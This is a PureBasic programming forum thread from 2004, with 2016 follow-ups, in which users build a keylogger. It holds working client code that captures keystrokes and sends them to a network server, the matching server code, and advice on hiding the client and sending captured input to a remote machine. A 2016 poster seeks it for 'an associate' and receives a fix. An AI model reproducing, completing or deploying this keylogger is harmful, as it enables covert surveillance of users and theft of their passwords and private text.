Page 1 of 1

KEYLOGGER v1. - WAAHHH! HOW DO I MAKE MY EXE TPYE STUFF....

Posted: Thu Sep 30, 2004 7:57 am
by crypt0night
HI, thx for interest.

I am determined to write my OWN (!) keylogger,
and as newbies do they produce a lot of crapy code... here it is....

Code: Select all


;{- INIT

InitKeyboard()

Height = 200
 Width = 200
     x = 200
     y = 200

;}
    
  If OpenWindow(1, x, y, Width, Height, #PB_Window_SystemMenu, "TITLE") = 0
  EndIf

Repeat

  EventID.l = WindowEvent()   ; CloseButton - without WaitWindowEvent() 

this line program is FREEZES, got it from 2ddrawing.pb
  
  ExamineKeyboard()  ; you need that to make the winow respond to your 

keystrokes

  OpenFile(0,"E:\Neuer Ordner\PURE BASIC\KEYLOGGER\output.txt")          ; 

creates a new text file in memory
  
  String$ = String$ + KeyboardInkey()
  UseFile(0)
  WriteStringN(String$)          ; Nun schreiben wir einen Satz mit einen 

Zeilenbruch am Ende 
    
    ; If KeyboardPushed(#ReadFile(0,"E:\Neuer Ordner\PURE 

BASIC\KEYLOGGER\output.txt")                                              

;Wir lesen die datei pbtutorial.txt 
    ; zeile$  =   ReadString()                                              

  ; wir lesen die Zeischen                        
    ; MessageRequester("Text","Text: "+zeile$,0)                            

  ; Nun zeigen wir die Zeischen an  
    ; CloseFile(0)                                                          

  ; wir schliessen den file was nicht unbedingt sein muss da es PB automat. 

schliesst    
  ; Else                                                                    

  ; wenn der File nicht gefunden wurde 
    ; MessageRequester("Fehler","Konnte eventuell den File nicht finden",0) 

  ; Fehlermeldung 
  ; EndIf           
  
  If KeyboardPushed(#PB_Key_Escape)
    EventID = #PB_EventCloseWindow

    If CloseFile(0)                                                        

; wenn wir zuende geschrieben haben schliessen wir die file 
    Else
      MessageRequester("WAHHH",Str(CloseFile(0))+" CloseFile Line 36")
    EndIf
    
    Goto Esc_End ; ends the prog
  EndIf
  
Until EventID = #PB_EventCloseWindow  ; until user pressed close button

Esc_End:

If CloseFile(0)                                                        ; 

wenn wir zuende geschrieben haben schliessen wir die file 
Else
  MessageRequester("WAHHH","CloseFile Line 51")
EndIf

MessageRequester("TITLE",ReadFile()
 
; jaPBe Version=2.4.7.17
; Build=0
; FirstLine=21
; CursorPosition=54
; ExecutableFormat=Windows
; DontSaveDeclare
; EOF

...aw....

good. so what it basicly does is it opens a window and if you type in stuff

and end the prog [ESC] you get a message that tells you what you typed in.

It is supposed to output your input to a file (via If CloseFile(0)), but

that does not work!

WHY?

The biggest challenge:

While my logger is running (invisible in background) it gets all the

keyboard input,
but it does not pass on the input to the program (e.g. word, email prog...)

actually used by the user.

Anyone an idea how i can make my proggy type stuff into word? PLEASE!!!

To make the proggy invisible is no problem for me (I will do that in the

very last stage)

Another challenge:

I did not test that but i guess, the program needs to have permanent focus

to recieve the keystrokes.

So:

1. write input to file
2. pass on input to word
3. permanent focus even if another program is in front (!?)

crypt0night appreaciates your help and hope this topic is not forbidden,

thx.

hmm

Posted: Thu Sep 30, 2004 10:05 am
by Kendrel
you will need some apicalls if you want to log these keystrokes...

take a loog at GetAsyncKeystate, because i fear without winapi you wont be able to do what you want.

also a search in the forum might help you... www.purearea.net also also has alot of code snippets... iam sure you can also find something there...

good luck

Posted: Thu Sep 30, 2004 12:31 pm
by DoubleDutch
To write a keylogger you need to know about system hooks. There is plenty of info in this forum... do a search of the forum for "hook"!

Hope this helps,

Anthony

Posted: Thu Sep 30, 2004 7:00 pm
by Tranquil
Ive done a small keylogger some month ago for a friend of mine.

check this...


Client Code:

Code: Select all

OpenConsole()

a=InitKeyboard()
res=InitNetwork()

Repeat

  res=OpenNetworkConnection("127.0.0.1",61000)
  Delay(1000*10)
Until res<>0

Repeat
  ExamineKeyboard()
  key$=KeyboardInkey()
  Print(key$)
  
  If KeyboardReleased(#PB_Key_Return) Or KeyboardReleased(#PB_Key_PadEnter)
    key$=Chr(12)
  EndIf
  
  If key$<>""                 ;Keyboard press recognized, send key to server
    SendNetworkData(res,@key$,1)
  EndIf
  
  Delay(10)
ForEver
End
Server code:

Code: Select all

; Keyboard logger Server

line=10

#NetworkEvent=#WM_User+1

winhndl=OpenWindow(0,0,0,600,400,#PB_Window_SystemMenu|#PB_Window_SizeGadget|#PB_Window_ScreenCentered,"Mainwindow")

CreateMenu(0,WindowID(0))
MenuTitle("File")

CreateGadgetList(WindowID(0))
EditorGadget(1,0,0,WindowWidth()-1,WindowHeight()-30,#PB_Container_Raised)

InitNetwork()

server=CreateNetworkServer(61000)

If server=0
  AddGadgetItem(1,-1,"Server is NOT in listening mode!"+Chr(12))
Else
  AddGadgetItem(1,-1,"Server is ready and listening..."+Chr(12))
  If WSAAsyncSelect_(server,winhndl,#NetworkEvent,#FD_READ|#FD_WRITE|#FD_ACCEPT|#FD_CLOSE)<>0:End:EndIf; Get Serverevents as message 1000
EndIf


Procedure SizeCallback(WindowID, Message, lParam, wParam)
  ReturnValue=#PB_ProcessPureBasicEvents
  Shared line
  serverevent=NetworkServerEvent()
  socket=NetworkClientID()
  
  If serverevent=1                ; Incomming connection
    AddGadgetItem(1,-1,"Connection from client established... starting logging"+Chr(12))
  EndIf
  
  If serverevent=5                                      ; connection closed
    AddGadgetItem(1,-1,"Connection closed."+Chr(12))
  EndIf
  
  If serverevent=2                                      ; Incomming datas
    key$=Space(1)
    ReceiveNetworkData(socket,@key$,1)
    If key$<>Chr(12)
      txt$=GetGadgetItemText(1,line,0)
      SetGadgetItemText(1,line,txt$+key$,line)
    EndIf
    If key$=Chr(12)
      txt$=GetGadgetItemText(1,line,0)
      SetGadgetItemText(1,line,txt$+key$,line)
      line+1
    EndIf
  EndIf
  
  ProcedureReturn ReturnValue   
EndProcedure

SetWindowCallback(@SizeCallback())


Repeat
  event.l=WaitWindowEvent()
  
  If event.l=#PB_Event_CloseWindow:esc=1:EndIf
  
  
Until esc=1
End
I know the network part is not correct but its mostly working and enough for a keylogger. The data-send and receive functions are incomplet - that means: the transfer of the logges datas over the network is not checked for completeness. Errors that will occure are not checked and handled.

Cheers
Mike

Re: KEYLOGGER v1. - WAAHHH! HOW DO I MAKE MY EXE TPYE STUFF.

Posted: Thu Sep 30, 2004 9:42 pm
by PB
> how i can make my proggy type stuff into word?

All newbies should read the FAQ... your answer is there!

viewtopic.php?t=4876

:)

thanks a lot Tranquil! ;-) ;-) ;-) ;-)

Posted: Wed Nov 03, 2004 12:59 pm
by crypt0night
sorry for the late answer, your code is awesome dude!
And the best: It´s working fine! ;-)

I try to improve your code (with giving credit to you) but the only thing I so far managed to implement is to exit the ap when pressing ESC ;-( and making the client invisible by quoting out:
; OpenConsole()
and
; Print(key$)

Yeah I know not impressive all this server client stuff and ascii capturing is still too complicated stuff for me... but I am working on it...

one major challenge (its not a problem, its a challenge!) is : How do the Clients get to know the server´s IP?
How do they figure out where to send the captured stuff to?

Is there any possibility to NOT use server on a client machine?
In order to wait for a server to start... somewhere.... e.g. on machine 192.168.19.21 and then send "HEy I am here at 192.168.19.21... start sending me your stuff"

hm... hehe...

THANKS A LOT!
THAT IS A GOOD START!

Offtopic: Bush is highly unpopular in europe.

Re: thanks a lot Tranquil! ;-) ;-) ;-) ;-)

Posted: Wed Nov 03, 2004 1:39 pm
by Num3
crypt0night wrote:Offtopic: Bush is highly unpopular in europe.
Well but it seems the mother F**** is going to do it again....

Game Hint!

Oh! No! More Bush!

Re: KEYLOGGER v1. - WAAHHH! HOW DO I MAKE MY EXE TPYE STUFF.

Posted: Fri Oct 07, 2016 11:21 pm
by karmacomposer
I get an error with this line:

Code: Select all

winhndl=OpenWindow(0,0,0,600,400,#PB_Window_SystemMenu|#PB_Window_SizeGadget|#PB_Window_ScreenCentered,"Mainwindow")
I get a Bad Parameter Type: Number expected instead of string

I just copied and pasted the code into PureBasic, both 64 bit and 32 bit.

I get this error when I try to compile to a executable.

I need this for a associate who needs a keylogger for his own personal use.

Thank for your help.

Mike

Re: KEYLOGGER v1. - WAAHHH! HOW DO I MAKE MY EXE TPYE STUFF.

Posted: Sat Oct 08, 2016 12:32 am
by Demivec
karmacomposer wrote:I get an error with this line:

Code:
winhndl=OpenWindow(0,0,0,600,400,#PB_Window_SystemMenu|#PB_Window_SizeGadget|#PB_Window_ScreenCentered,"Mainwindow")


I get a Bad Parameter Type: Number expected instead of string
Using the IDE just place the text cursor on the parameter list and it will show what each one should be.

To save you some time, the last two parameters were swapped in later versions of PureBasic. :wink: